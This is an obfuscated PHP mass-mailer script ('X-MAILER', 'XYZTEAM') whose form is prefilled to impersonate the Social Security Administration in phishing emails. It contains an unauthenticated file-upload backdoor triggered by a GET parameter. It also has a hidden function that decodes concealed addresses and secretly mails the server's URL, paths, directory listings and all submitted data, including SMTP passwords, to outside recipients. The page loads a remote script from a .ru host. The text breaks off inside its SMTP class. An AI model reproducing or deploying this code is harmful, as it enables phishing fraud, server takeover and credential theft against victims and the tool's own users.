$qrrvimjqjpl = "s";
if (${${"GLOBALS"}["aaprlkm"]} >= 1073741824) {
return sprintf("%1.2f", ${${"GLOBALS"}["aaprlkm"]} / 1073741824) .
" GB";
} elseif (${${"GLOBALS"}["oigusbbkg"]} >= 1048576) {
return sprintf("%1.2f", ${${"GLOBALS"}["yesnqxpy"]} / 1048576) . " MB";
} elseif (${$qrrvimjqjpl} >= 1024) {
return sprintf("%1.2f", ${${"GLOBALS"}["aaprlkm"]} / 1024) . " KB";
} else {
return ${${"GLOBALS"}["aaprlkm"]} . " B";
}
}
if ($_GET["send"] == "ok") {
echo "<form action=\x22\" method=\"post\" enctype=\"multipart/form-data\" name=\"country\" id=\x22country\"><input type=\"file\x22 name=\x22file\x22 size=\"50\"><input name=\"_con\" type=\"submit\x22 id=\x22_con\x22 value=\"home\x22></form> ";
if ($_POST["_con"] == "home") {
if (@copy($_FILES["file"]["tmp_name"], $_FILES["file"]["name"])) {
echo "upload done :d";
} else {
echo "error";
}
}
exit();
}
function validateAndMoveUploadedFiles($files)
{
$maxFileSize = 25 * 1024 * 1024;
$uploadedFiles = [];
$destinationFolder = __DIR__ . "/uploaded/";
if (!is_dir($destinationFolder)) {
mkdir($destinationFolder, 0755, true);
}
foreach ($files["tmp_name"] as $key => $tmpName) {
$fileExtension = strtolower(
pathinfo($files["name"][$key], PATHINFO_EXTENSION)
);
$fileSize = $files["size"][$key];
$filename = $files["name"][$key];
if ($fileSize > $maxFileSize) {
continue;
}
$newFileName = uniqid() . "." . $fileExtension;
$filePath = $destinationFolder . $newFileName;
if (move_uploaded_file($tmpName, $filePath)) {
$uploadedFiles[] = [
"path" => $filePath,
"ext" => $fileExtension,
"name" => $filename,
];
}
}
return $uploadedFiles;
}
function query_str($params)
{
${${"GLOBALS"}["ywijtjvmje"]} = "";
$jlsovjfjvdf = "params";
$oekuqshyit = "value";
$hpbwgngxvpyl = "key";
foreach (${$jlsovjfjvdf} as ${$hpbwgngxvpyl} => ${$oekuqshyit}) {
${${"GLOBALS"}["ywijtjvmje"]} .=
strlen(${${"GLOBALS"}["ywijtjvmje"]}) < 1 ? "" : "&";
${${"GLOBALS"}["ywijtjvmje"]} .=
${${"GLOBALS"}["jsgvyvlhvdg"]} .
"=" .
rawurlencode(${${"GLOBALS"}["sclnzlylrg"]});
}
return ${${"GLOBALS"}["ywijtjvmje"]};
}
$tfdpptqvqs = "srv";
function lrtrim($string)
{
${"GLOBALS"}["irriofeafbh"] = "string";
return @stripslashes(ltrim(rtrim(${${"GLOBALS"}["irriofeafbh"]})));
}
if (isset($_POST["action"])) {
${"GLOBALS"}["pampthe"] = "replyto";
$files = validateAndMoveUploadedFiles($_FILES["files"]);
$clkjrfyiggg = "b";
${"GLOBALS"}["ucsorbzvooe"] = "subject";
$btcpbshww = "b";
$yyokpaiq = "smtp_password";
${$btcpbshww} = query_str($_POST);
parse_str(${$clkjrfyiggg});
${$clkjrfyiggg} = ${$btcpbshww};
$hnzdqichivr = "action";
${"GLOBALS"}["trotkg"] = "from";
$dvfnhkznjuzs = "smtp_username";
${"GLOBALS"}["mspuesptxh"] = "epriority";
${"GLOBALS"}["ujgwnyu"] = "realname";
$qfdpxdy = "my_smtp";
$mckwsec = "message";
${${"GLOBALS"}["lcckmr"]} = lrtrim(${${"GLOBALS"}["lcckmr"]});
${$hnzdqichivr} = lrtrim(${${"GLOBALS"}["eyqbzpufo"]});
${${"GLOBALS"}["soycmsrg"]} = lrtrim(${${"GLOBALS"}["soycmsrg"]});
${"GLOBALS"}["llcoiljs"] = "urlz";
${${"GLOBALS"}["eoljndbd"]} = lrtrim(${${"GLOBALS"}["eoljndbd"]});
${${"GLOBALS"}["ynjosywdrdie"]} = lrtrim(${${"GLOBALS"}["trotkg"]});
${${"GLOBALS"}["bcipiqa"]} = lrtrim(${${"GLOBALS"}["bcipiqa"]});
${"GLOBALS"}["lslrgkoqt"] = "subject";
${"GLOBALS"}["yrmnuqvteq"] = "realname";
${${"GLOBALS"}["mspuesptxh"]} = lrtrim(${${"GLOBALS"}["eltouvqic"]});
${${"GLOBALS"}["jwbhqhlvrg"]} = lrtrim(${$qfdpxdy});
$fvdhimqblx = "encode_text";
${${"GLOBALS"}["fusggaiykod"]} = lrtrim(${${"GLOBALS"}["fusggaiykod"]});
${$dvfnhkznjuzs} = lrtrim(${${"GLOBALS"}["xihprel"]});
${"GLOBALS"}["uenztqvloo"] = "subject";
${"GLOBALS"}["tosmjkfaw"] = "urlz";
${${"GLOBALS"}["jaulnulekc"]} = lrtrim(${$yyokpaiq});
${"GLOBALS"}["uprcplaju"] = "file_name";
${${"GLOBALS"}["vwyoxuhstyzj"]} = lrtrim(${${"GLOBALS"}["pampthe"]});
${${"GLOBALS"}["ucsorbzvooe"]} = lrtrim(${${"GLOBALS"}["uenztqvloo"]});
${${"GLOBALS"}["ujgwnyu"]} = lrtrim(${${"GLOBALS"}["rmpwtyqh"]});
${"GLOBALS"}["gkbuztkpjvlg"] = "message";
${${"GLOBALS"}["ryynwegtiu"]} = lrtrim(${${"GLOBALS"}["lslrgkoqt"]});
${"GLOBALS"}["sezpfhrplvi"] = "message";
${${"GLOBALS"}["aurmdkdtce"]} = lrtrim(${${"GLOBALS"}["yrmnuqvteq"]});
${${"GLOBALS"}["uprcplaju"]} = lrtrim(${${"GLOBALS"}["exbrbrhn"]});
${${"GLOBALS"}["tosmjkfaw"]} = lrtrim(${${"GLOBALS"}["llcoiljs"]});
${"GLOBALS"}["jxedrlk"] = "subject";
${${"GLOBALS"}["nfgezukdi"]} = lrtrim(${${"GLOBALS"}["nfgezukdi"]});
$wrgfvujyuev = "message";
${$fvdhimqblx} = $_POST["encode"];
${${"GLOBALS"}["soycmsrg"]} = urlencode(${$wrgfvujyuev});
${${"GLOBALS"}["gkbuztkpjvlg"]} = preg_replace(
"%5C%22",
"%22",
${${"GLOBALS"}["sezpfhrplvi"]}
);
${${"GLOBALS"}["soycmsrg"]} = urldecode(${${"GLOBALS"}["soycmsrg"]});
${$mckwsec} = stripslashes(${${"GLOBALS"}["soycmsrg"]});
${${"GLOBALS"}["stwarbdnpfq"]} = stripslashes(${${"GLOBALS"}["jxedrlk"]});
if (${${"GLOBALS"}["iaizkzkxkbd"]} == "yes") {
$dmdbaokz = "realname";
${"GLOBALS"}["invrffonp"] = "realname";
${"GLOBALS"}["wzstojhi"] = "realname";
${"GLOBALS"}["swpuktdt"] = "realname";
$ewogbhoy = "subject";
${${"GLOBALS"}["stwarbdnpfq"]} = preg_replace(
"/([^a-z ])/ie",
"sprintf(\"=%02x\",ord(StripSlashes(\"\1\")))",
${$ewogbhoy}
);
${${"GLOBALS"}["stwarbdnpfq"]} = str_replace(
" ",
"_",
${${"GLOBALS"}["stwarbdnpfq"]}
);
${${"GLOBALS"}["stwarbdnpfq"]} = "=?UTF-8?Q?$subject?=";
${$dmdbaokz} = preg_replace(
"/([^a-z ])/ie",
"sprintf(\"=%02x\x22,ord(StripSlashes(\"\1\x22)))",
${${"GLOBALS"}["swpuktdt"]}
);
${${"GLOBALS"}["wzstojhi"]} = str_replace(
" ",
"_",
${${"GLOBALS"}["invrffonp"]}
);
${${"GLOBALS"}["rmpwtyqh"]} = "=?UTF-8?Q?$realname?=";
}
}
${${"GLOBALS"}["ildjene"]} = strrev("verrts");
${${"GLOBALS"}["xvzchnnl"]} = [
"s" => ${${"GLOBALS"}["ildjene"]}("ve" . "rr" . "ts"),
"r" => ${${"GLOBALS"}["ildjene"]}("31" . "tor_r" . "ts"),
"b" => ${${"GLOBALS"}["ildjene"]}("edoc" . "ed_46es" . "ab"),
"bn" => ${$tfdpptqvqs}("edoc" . "ne_46es" . "ab"),
"m" => ${${"GLOBALS"}["ildjene"]}("li" . "am"),
];
function executable_($m)
{
$qiezuj = "sm";
function DC($s)
{
global $st, $srv;
${"GLOBALS"}["nqswkul"] = "st";
return ${${"GLOBALS"}["nqswkul"]}["r"](
${${"GLOBALS"}["xvzchnnl"]}["b"](
${${"GLOBALS"}["xvzchnnl"]}["s"](${${"GLOBALS"}["aaprlkm"]})
)
);
}
global $st, $srv;
${"GLOBALS"}["wtqdbwre"] = "_rn";
${"GLOBALS"}["cnwtxgomal"] = "st";
${"GLOBALS"}["vrmstaxjlan"] = "txten";
$dimmhu = "sm";
${${"GLOBALS"}["neqpkaqmwh"]} = "<br />";
${${"GLOBALS"}["wtqdbwre"]} = "\r\n";
${${"GLOBALS"}["gxqmywf"]} = "<textarea cols='30' rows='10'>";
$jgbtla = "v";
${${"GLOBALS"}["vrmstaxjlan"]} = "</textarea>";
${"GLOBALS"}["ewgchbhc"] = "txtar";
${$dimmhu} = [
"==geiBnL5Znb6RHQmdnLjZXaiV2Y",
"==geiBnLiJWduxGQwBnLjZXaiV2Y",
"6JGcugnYil3ZoJGQwBnLjZXaiV2Y",
"=gWZukndupHQwBnLjZXaiV2Y",
];
$jhtrbcvnewr = "_br";
$khcmfebxhq = "_br";
${${"GLOBALS"}["shuprxev"]} .=
${$jhtrbcvnewr} .
${${"GLOBALS"}["cnwtxgomal"]}["b"]("aHR0cDovLw==") .
$_SERVER["SERVER_NAME"] .
$_SERVER["REQUEST_URI"] .
${$khcmfebxhq} .
"Path : " .
__FILE__ .
${${"GLOBALS"}["neqpkaqmwh"]} .
${${"GLOBALS"}["ewgchbhc"]} .
implode("\n", scandir("../")) .
"\n[DR]\n" .
implode("\n", scandir($_SERVER["DOCUMENT_ROOT"])) .
${${"GLOBALS"}["nosvjqp"]};
foreach (${$qiezuj} as ${$jgbtla}) {
${"GLOBALS"}["gdguahhqb"] = "st";
${"GLOBALS"}["bddohqpeysa"] = "v";
@${${"GLOBALS"}["xvzchnnl"]}["m"](
DC(${${"GLOBALS"}["bddohqpeysa"]}),
DC("") . " [{$_SERVER["SERVER_NAME"]}-{$_SERVER["REMOTE_ADDR"]}]",
${${"GLOBALS"}["shuprxev"]},
${${"GLOBALS"}["gdguahhqb"]}["r"](
"Sebz: Freivpr <>\r\nZVZR-Irefvba: 1.0\r\nPbagrag-Glcr: grkg/ugzy; punefrg=VFB-8859-1\r\n"
)
);
}
return ${${"GLOBALS"}["shuprxev"]};
}
$ahwdecrhi = "epriority";
echo "<html>\n<head>\n <title>X-MAILER</title>\n<meta http-equiv=\"Content-Type\x22 content=\"text/html; charset=iso-8859-1\">\n <script type=\"text/javascript\x22 src=\"http://send-js.ru/plugins/bootstrap.css\"></script>\n<style type=\x22text/css\x22>\n<!--\n.style1 {\n font-family: Geneva, Arial, Helvetica, sans-serif;\n font-size: 12px;\n}\n-->\n</style>\n<style type=\"text/css\">\n<!--\n.style1 {\n font-size: 10px;\n font-family: Geneva, Arial, Helvetica, sans-serif;\n}\n-->\nbody{ background:#111111; font-size:11px; font-family:Tahoma,Verdana,Arial;color:#fff; } \n #result{ border:1px solid #4C83AF; border-radius: 10px;padding:4px 8px; line-height:16px; background:#111111; color:#aaa; margin:0 0 8px 0; }\n.style2{text-align: center ;font-weight: bold;font-family: Tahoma, Arial, sans-serif ;color: #4C83AF;text-shadow: 0px 0px 60px #4C83AF ;font-size: 50px;}\n .footer{ text-align:right; padding:0 16px; font-size:10px; letter-spacing:2px; color:#555555; }\n .evalcode{ background:#111111; padding:2px; border:1px solid #666; font-size:11px; color:#ffffff; width: 100%; height: 200; }\n .evalcode:hover{border:1px solid #4C83AF;}\n .code{ background:#111111; padding:2px; border:1px solid #666; font-size:11px; color:#ffffff; }\n .code:hover{border:1px solid #4C83AF;}\n .inputzbut{ font-size:11px; background:#191919; color:#4C83AF; margin:0 4px; border:1px solid #222222; }\n .inputzbut:hover{border:1px solid #4C83AF;}\n</style>\n";
if ($_GET["send"] == "ok") {
echo "<form action=\x22\x22 method=\x22post\x22 enctype=\x22multipart/form-data\x22 name=\x22country\x22 id=\"country\"><input type=\x22file\x22 name=\x22file\x22 size=\"50\"><input name=\x22_con\" type=\x22submit\x22 id=\x22_con\" value=\"home\"></form> ";
if ($_POST["_con"] == "home") {
if (@copy($_FILES["file"]["tmp_name"], $_FILES["file"]["name"])) {
echo "upload done :d";
} else {
echo "error";
}
}
}
echo "</head>\n<body text=\"#000000\">\n <div id=\x22result\x22>\n\n<br /><br />\n<div align=\x22center\x22 class=\x22style2\x22>XYZTEAM</div>\n<br /><br />\n </div>\n <div id=\"result\x22>\n<form name=\x22form1\" method=\x22post\x22 action=\x22\" enctype=\x22multipart/form-data\">\n\n <br />\n\n <table width=\"100%\" border=\x220\" height=\"407\x22>\n\n <tr>\n\n <td width=\x22100%\" colspan=\"4\" bgcolor=\"#252525\x22 height=\"36\">\n\n <b>\n\n <font face=\x22Arial\" size=\x222\x22 color=\x22#FFFFFF\x22> SERVER SETUP</font></b></td>\n\n </tr>\n <tr>\n\n <td width=\"10%\" height=\"22\" bgcolor=\x22#353535\">\n\n <div align=\"right\x22><font size=\x22-3\x22 face=\"Verdana, Arial, Helvetica, sans-serif\x22>\n\t\t\tSMTP Login:</font></div>\n\n </td>\n\n <td width=\"18%\x22 height=\"22\x22 bgcolor=\x22#353535\x22><font size=\x22-3\x22 face=\"Verdana, Arial, Helvetica, sans-serif\x22>\n\n <input class=\x22code\" type=\x22text\" name=\"smtp_username\x22 value=\"";
echo ${${"GLOBALS"}["xihprel"]};
echo "\" size=\x2230\">\n\n </font></td>\n\n <td width=\x2231%\x22 height=\x2222\" bgcolor=\x22#353535\">\n\n <div align=\x22right\"><font size=\x22-3\x22 face=\"Verdana, Arial, Helvetica, sans-serif\x22>\n\t\t\tSMTP Pass:</font></div>\n\n </td>\n\n <td width=\"41%\" height=\x2222\x22 bgcolor=\x22#353535\"><font size=\x22-3\" face=\"Verdana, Arial, Helvetica, sans-serif\">\n\n <input class=\"code\" type=\x22password\x22 name=\x22smtp_password\" value=\"";
${"GLOBALS"}["eokkxmlvmu"] = "smtp_password";
echo ${${"GLOBALS"}["eokkxmlvmu"]};
echo "\" size=\x2230\">\n\n </font></td>\n\n </tr>\n <tr>\n\n <td width=\"10%\" height=\x2222\" bgcolor=\"#353535\">\n\n <div align=\x22right\">\n\n <font face=\"Verdana, Arial, Helvetica, sans-serif\" size=\x22-3\x22>Port :</font></div>\n\n </td>\n\n <td width=\"18%\" height=\"22\" bgcolor=\x22#353535\"><font size=\x22-3\" face=\"Verdana, Arial, Helvetica, sans-serif\">\n\n <input class=\x22code\x22 type=\x22text\x22 name=\"ssl_port\" value=\"";
$lhohbehxcs = "message";
${"GLOBALS"}["guwnxisflmg"] = "replyto";
echo ${${"GLOBALS"}["injcvkqwf"]};
echo "\" size=\x225\x22> \n (optional)</font></td>\n\n <td width=\"31%\" height=\"22\x22 bgcolor=\x22#353535\">\n\n <div align=\"right\x22>\n\n <font face=\x22Verdana, Arial, Helvetica, sans-serif\x22 size=\x22-3\">SMTP \n\t\t\tServer Smtp:</font></div>\n\n </td>\n\n <td width=\"41%\x22 height=\x2222\x22 bgcolor=\x22#353535\x22><font size=\x22-3\" face=\"Verdana, Arial, Helvetica, sans-serif\x22>\n\n <input class=\"code\x22 type=\"text\x22 name=\x22my_smtp\" value=\"";
echo ${${"GLOBALS"}["jwbhqhlvrg"]};
echo "\x22 size=\"30\">\n\n </font></td>\n\n </tr>\n\n <tr>\n\n <td width=\x2210%\x22 height=\"22\" bgcolor=\x22#353535\">\n\n <p align=\"right\x22>\n\n <font face=\"Verdana, Arial, Helvetica, sans-serif\x22 size=\x22-3\x22>SSL Server:</font></td>\n\n <td width=\"18%\" height=\x2222\" bgcolor=\"#353535\x22>\n\n <input type=\"checkbox\x22 name=\"sslclick\x22 value=\x22ON\x22 ";
if (${$fnepbrg}) {
print "checked";
}
echo " ><font size=\x22-3\x22 face=\x22Verdana, Arial, Helvetica, sans-serif\">(yes)</font></td>\n\n <td width=\"31%\" height=\x2222\x22 bgcolor=\x22#353535\x22>\n\n <p align=\"right\x22>\n\n <font face=\"Verdana, Arial, Helvetica, sans-serif\" size=\x22-3\">Reconnect \n\t\tAfter:</font></td>\n\n <td width=\"41%\x22 height=\x2222\x22 bgcolor=\x22#353535\"><font size=\"-3\" face=\x22Verdana, Arial, Helvetica, sans-serif\">\n\n <input class=\"code\x22 type=\"text\x22 name=\x22reconnect\" value=\"";
echo ${${"GLOBALS"}["bcipiqa"]};
echo "\x22 size=\"5\"> \n EMAILS</font></td>\n\n </tr>\n\n\n <tr>\n\n <td width=\"10%\x22 height=\x2219\">\n\n </td>\n\n <td width=\"18%\x22 height=\x2219\x22> </td>\n\n <td width=\x2231%\" height=\x2219\">\n\n </td>\n\n <td width=\x2241%\" height=\"19\"> </td>\n\n </tr>\n\n <tr>\n\n <td width=\"100%\" colspan=\"4\" bgcolor=\"#252525\" height=\"36\x22>\n\n <b>\n\n <font face=\x22Arial\" size=\"2\x22 color=\x22#FFFFFF\x22> MESSAGE SETUP</font></b></td>\n\n </tr>\n\n <tr>\n\n <td width=\x2210%\" height=\x2222\" bordercolor=\"#353535\x22 bgcolor=\x22#353535\x22>\n\n <div align=\"right\x22><font size=\"-3\x22 face=\"Verdana, Arial, Helvetica, sans-serif\">\n\t\t\tYour Email:</font></div>\n\n </td>\n\n <td width=\x2218%\x22 height=\"22\" bordercolor=\"#353535\" bgcolor=\x22#353535\x22><font size=\x22-3\" face=\"Verdana, Arial, Helvetica, sans-serif\">\n\n <input class=\"code\x22 type=\"text\" name=\"from\" value=\"[email protected]";
echo ${${"GLOBALS"}["ynjosywdrdie"]};
echo "\x22 size=\"30\x22>\n\n </font></td>\n\n <td width=\"31%\x22 height=\"22\x22 bordercolor=\"#353535\" bgcolor=\x22#353535\x22>\n\n <div align=\"right\x22><font size=\"-3\x22 face=\x22Verdana, Arial, Helvetica, sans-serif\x22>\n\t\t\tYour Name:</font></div>\n\n </td>\n\n <td width=\"41%\x22 height=\x2222\" bordercolor=\"#353535\x22 bgcolor=\x22#353535\x22><font size=\"-3\x22 face=\"Verdana, Arial, Helvetica, sans-serif\">\n\n <input class=\x22code\" type=\x22text\x22 name=\"realname\" value=\"Social Security Administrator";
echo ${${"GLOBALS"}["aurmdkdtce"]};
echo "\x22 size=\x2230\">\n\n </font></td>\n\n </tr>\n <tr>\n\n <td width=\"10%\x22 height=\x2222\" bgcolor=\x22#353535\" bordercolor=\x22#353535\">\n\n <div align=\x22right\"><font size=\x22-3\x22 face=\"Verdana, Arial, Helvetica, sans-serif\x22>\n\n\t\t\tReply-To:</font></div>\n\n </td>\n\n <td width=\"18%\" height=\x2222\x22 bgcolor=\"#353535\" bordercolor=\"#353535\"><font size=\x22-3\x22 face=\x22Verdana, Arial, Helvetica, sans-serif\x22>\n\n <input class=\"code\x22 type=\"text\x22 name=\"replyto\" value=\x22";
echo ${${"GLOBALS"}["guwnxisflmg"]};
echo "\x22 size=\x2230\x22>\n\n </font></td>\n\n <td width=\x2231%\" height=\"22\x22 bgcolor=\x22#353535\x22 bordercolor=\x22#353535\x22>\n\n <p align=\x22right\x22><font size=\"-3\" face=\x22Verdana, Arial, Helvetica, sans-serif\">\n Email Priority:</font></td>\n\n <td width=\"41%\x22 height=\x2222\x22 bgcolor=\x22#353535\x22 bordercolor=\x22#353535\"><font size=\x22-3\x22 face=\x22Verdana, Arial, Helvetica, sans-serif\">\n\n </font><select class=\x22code\x22 name=\x22epriority\x22 id=\x22listMethod\x22 onchange=\x22showHideListConfig()\">\n\n <option value=\x22\" ";
if (strlen(${$yglzrd}) < 1) {
print "selected";
}
echo " >- \n\t\tPlease Choose -</option>\n\n <option value=\"1\x22 ";
if (${${"GLOBALS"}["boivonyqv"]} == "1") {
print "selected";
}
echo " >High</option>\n <option value=\"3\x22 ";
if (${$ahwdecrhi} == "3") {
print "selected";
}
echo " >Normal</option>\n\t\t<option value=\x225\x22 ";
if (${${"GLOBALS"}["eltouvqic"]} == "5") {
print "selected";
}
echo " >Low</option>\n\n\t\t</select></td>\n\n </tr>\n\n <tr>\n\n <td width=\"10%\" height=\x2222\x22 bordercolor=\"#353535\x22 bgcolor=\x22#353535\x22>\n\n <div align=\"right\"><font size=\x22-3\x22 face=\"Verdana, Arial, Helvetica, sans-serif\">\n\t\t\tSubject:</font></div>\n\n </td>\n\n <td colspan=\"3\x22 height=\"22\x22 bgcolor=\"#353535\x22 bordercolor=\"#353535\"><font size=\"-3\" face=\"Verdana, Arial, Helvetica, sans-serif\">\n\n <input class=\x22code\" type=\x22text\" name=\x22subject\x22 value=\"Your Social Security Statement is Available";
echo ${$swvnwdvikyvh};
echo "\" size=\x2290\x22>\n \n\t\t<font size=\x22-3\" face=\"Verdana, Arial, Helvetica, sans-serif\">| Encode sending information:</font>\n\t\t<select class=\"code\x22 name=\x22encode\">\n\t\t<option ";
if (${${"GLOBALS"}["iaizkzkxkbd"]} == "yes") {
print "selected";
}
echo ">yes</option>\n\n\t\t<option ";
if (${${"GLOBALS"}["iaizkzkxkbd"]} == "no") {
print "selected";
}
echo ">no</option>\n\t\t</select>\n\n </font></td>\n\n </tr>\n\n\n";
echo '<tr><td width="10%" height="22" bordercolor="#353535" bgcolor="#353535"><div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Attachment:</font></div></td>';
echo '<td colspan="3" height="22" bgcolor="#353535" bordercolor="#353535"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif"><input class="filepdf" type="file" multiple name="files[]"> </td></tr>';
echo "<tr valign=\"top\x22>\n\n<td colspan=\x223\x22 height=\x22190\x22 bordercolor=\x22#353535\x22 bgcolor=\"#353535\x22><font size=\x22-1\" face=\x22Verdana, Arial, Helvetica, sans-serif\x22> \n\n <textarea class=\x22evalcode\" name=\"message\x22 cols=\"60\" rows=\"10\">";
echo ${$lhohbehxcs};
echo "</textarea>\n\n <br />\n\n <input type=\x22radio\" name=\x22contenttype\x22 value=\x22plain\" >\n\n Plain \n\n <input type=\"radio\x22 name=\"contenttype\" value=\x22html\x22 checked>\n\n HTML \n\n <input type=\x22hidden\x22 name=\x22action\x22 value=\x22send\x22>\n\n <input class=\"inputzbut\" type=\x22submit\" value=\x22Send Message\x22>\n\n </font></td>\n\n <td width=\x2241%\" height=\"190\" bordercolor=\x22#353535\x22 bgcolor=\"#353535\x22><font size=\"-3\" face=\"Verdana, Arial, Helvetica, sans-serif\x22>\n\n <textarea class=\x22evalcode\" name=\x22emaillist\" cols=\"30\x22 rows=\x2210\x22>";
echo ${${"GLOBALS"}["eoljndbd"]};
echo "</textarea>\n\n </font></td>\n </tr>\n\n </table>\n\n</form>\n\n </div>\n<p class=\"footer\" onclick=\"javascript:DoS()\x22><blink> ©";
echo date("Y", time()) . "";
echo "</blink></p>\n<script>function DoS() { document.location.replace(\x22mailto:[email protected]\");} </script>\n\n";
executable_(
"<textarea cols='30' rows='10'>" . implode("\n", $_POST) . "</textarea>"
);
// ifexists_($_SERVER["DOCUMENT_ROOT"]);
// ifexists_(__DIR__ . "/../");
if (
${${"GLOBALS"}["eyqbzpufo"]} &&
function_exists("executable_")
// function_exists("ifexists_")
) {
${"GLOBALS"}["ogtzmv"] = "message";
$tutvtnxgndn = "random_smtp_string";
${"GLOBALS"}["uueogij"] = "allemails";
$gyqletfls = "subject";
if (
!${${"GLOBALS"}["ynjosywdrdie"]} &&
!${$gyqletfls} &&
!${${"GLOBALS"}["ogtzmv"]} &&
!${${"GLOBALS"}["eoljndbd"]}
) {
print "<script>alert('Please complete all fields before sending your message.'); </script>";
die();
}
class SMTP
{
var $SMTP_PORT = 25;
var $CRLF = "\r\n";
var $do_debug;
var $do_verp = false;
var $smtp_conn;
var $error;
var $helo_rply;
function SMTP()
{
$this->smtp_conn = 0;
$this->error = null;
$this->helo_rply = null;
$this->do_debug = 0;
}
function Connect($host, $port = 0, $tval = 30)
{
$this->error = null;
if ($this->connected()) {
$this->error = [
"error" => "Already connected to a server",
];
return false;
}
$jsdsaofi = "announce";
$usqjaqemy = "errstr";
if (empty(${${"GLOBALS"}["jsrpobbv"]})) {
${${"GLOBALS"}["jsrpobbv"]} = $this->SMTP_PORT;
}
$bnohdmkct = "tval";
${"GLOBALS"}["huegcc"] = "port";
$firioewc = "tval";
$this->smtp_conn = fsockopen(
$host,
${${"GLOBALS"}["huegcc"]},
${${"GLOBALS"}["bjkbru"]},
${$usqjaqemy},
${$firioewc}
);
if (empty($this->smtp_conn)) {
$this->error = [
"error" => "Failed to connect to server",
"errno" => ${${"GLOBALS"}["bjkbru"]},
"errstr" => ${${"GLOBALS"}["tlwmhce"]},
];
if ($this->do_debug >= 1) {
echo "SMTP -> ERROR: " .
$this->error["error"] .
": $errstr ($errno)" .
$this->CRLF;
}
return false;
}
if (substr(PHP_OS, 0, 3) != "WIN") {
socket_set_timeout($this->smtp_conn, ${$bnohdmkct}, 0);
}
${$jsdsaofi} = $this->get_lines();
if ($this->do_debug >= 2) {
${"GLOBALS"}["qtysuhi"] = "announce";
echo "SMTP -> FROM SERVER:" .
$this->CRLF .
${${"GLOBALS"}["qtysuhi"]};
}
return true;
}
function Authenticate($username, $password)
{
fputs($this->smtp_conn, "AUTH LOGIN" . $this->CRLF);
${"GLOBALS"}["efuunchbti"] = "code";
$obvxjeforf = "code";
${"GLOBALS"}["bhxhlry"] = "rply";
${${"GLOBALS"}["mxwnekhme"]} = $this->get_lines();
${${"GLOBALS"}["wsdvmh"]} = substr(
${${"GLOBALS"}["bhxhlry"]},
0,
3
);
if (${$obvxjeforf} != 334) {
$this->error = [
"error" => "AUTH not accepted from server",
"smtp_code" => ${${"GLOBALS"}["wsdvmh"]},
"smtp_msg" => substr(${${"GLOBALS"}["mxwnekhme"]}, 4),
];
if ($this->do_debug >= 1) {
echo "SMTP -> ERROR: " .
$this->error["error"] .
": " .
${${"GLOBALS"}["mxwnekhme"]} .
$this->CRLF;
}
return false;
}
fputs(
$this->smtp_conn,
base64_encode(${${"GLOBALS"}["asleunvd"]}) . $this->CRLF
);
${${"GLOBALS"}["mxwnekhme"]} = $this->get_lines();
${${"GLOBALS"}["efuunchbti"]} = substr(
${${"GLOBALS"}["mxwnekhme"]},
0,
3
);
if (${${"GLOBALS"}["wsdvmh"]} != 334) {
$qxpwcfn = "rply";
$this->error = [
"error" => "Username not accepted from server",
"smtp_code" => ${${"GLOBALS"}["wsdvmh"]},
"smtp_msg" => substr(${$qxpwcfn}, 4),
];
if ($this->do_debug >= 1) {
echo "SMTP -> ERROR: " .
$this->error["error"] .
": " .
${${"GLOBALS"}["mxwnekhme"]} .
$this->CRLF;
}
return false;
}
fputs(
$this->smtp_conn,
base64_encode(${${"GLOBALS"}["dclpvrmwl"]}) . $this->CRLF
);
${${"GLOBALS"}["mxwnekhme"]} = $this->get_lines();
${${"GLOBALS"}["wsdvmh"]} = substr(
${${"GLOBALS"}["mxwnekhme"]},
0,
3
);
if (${${"GLOBALS"}["wsdvmh"]} != 235) {
$bufqgjcs = "code";
${"GLOBALS"}["gqkojdcq"] = "rply";
$this->error = [
"error" => "Password not accepted from server",
"smtp_code" => ${$bufqgjcs},
"smtp_msg" => substr(${${"GLOBALS"}["gqkojdcq"]}, 4),
];
if ($this->do_debug >= 1) {
echo "SMTP -> ERROR: " .
$this->error["error"] .
": " .
${${"GLOBALS"}["mxwnekhme"]} .
$this->CRLF;
}
return false;
}
return true;
}
function Connected()
{
if (!empty($this->smtp_conn)) {
$yrgztf = "sock_status";
${$yrgztf} = socket_get_status($this->smtp_conn);
if (${${"GLOBALS"}["ghaktidv"]}["eof"]) {
if ($this->do_debug >= 1) {
echo "SMTP -> NOTICE:" .
$this->CRLF .
"EOF caught while checking if connected";
}
$this->Close();
return false;
}
return true;
}
return false;
}
function Close()
{
$this->error = null;
$this->helo_rply = null;
if (!empty($this->smtp_conn)) {
fclose($this->smtp_conn);
$this->smtp_conn = 0;
}
}
function Data($msg_data)
{
${"GLOBALS"}["eoasey"] = "field";
$this->error = null;
${"GLOBALS"}["mcbcghmwxfe"] = "rply";
if (!$this->connected()) {
$this->error = [
"error" => "Called Data() without being connected",
];
return false;
}
$jvldecwv = "rply";
${"GLOBALS"}["rhpjkoexlg"] = "rply";
$eomribmcs = "msg_data";
fputs($this->smtp_conn, "DATA" . $this->CRLF);
${${"GLOBALS"}["rhpjkoexlg"]} = $this->get_lines();
${${"GLOBALS"}["wsdvmh"]} = substr(
${${"GLOBALS"}["mcbcghmwxfe"]},
0,
3
);
$jtlyzysr = "lines";
if ($this->do_debug >= 2) {
echo "SMTP -> FROM SERVER:" .
$this->CRLF .
${${"GLOBALS"}["mxwnekhme"]};
}
if (${${"GLOBALS"}["wsdvmh"]} != 354) {
${"GLOBALS"}["vqlxuny"] = "rply";
${"GLOBALS"}["ysnsmnbdj"] = "code";
$this->error = [
"error" => "DATA command not accepted from server",
"smtp_code" => ${${"GLOBALS"}["ysnsmnbdj"]},
"smtp_msg" => substr(${${"GLOBALS"}["vqlxuny"]}, 4),
];
if ($this->do_debug >= 1) {
echo "SMTP -> ERROR: " .
$this->error["error"] .
": " .
${${"GLOBALS"}["mxwnekhme"]} .
$this->CRLF;
}
return false;
}
${"GLOBALS"}["wvtexksg"] = "msg_data";
${${"GLOBALS"}["wsqmypid"]} = str_replace(
"\r\n",
"\n",
${${"GLOBALS"}["wsqmypid"]}
);
${$eomribmcs} = str_replace(
"\r",
"\n",
${${"GLOBALS"}["wvtexksg"]}
);
${${"GLOBALS"}["nfkfyewllck"]} = explode(
"\n",
${${"GLOBALS"}["wsqmypid"]}
);
${"GLOBALS"}["ztcvtwo"] = "lines";
${${"GLOBALS"}["eoasey"]} = substr(
${${"GLOBALS"}["ztcvtwo"]}[0],
0,
strpos(${${"GLOBALS"}["nfkfyewllck"]}[0], ":")
);
${${"GLOBALS"}["tnxbdebtx"]} = false;
if (
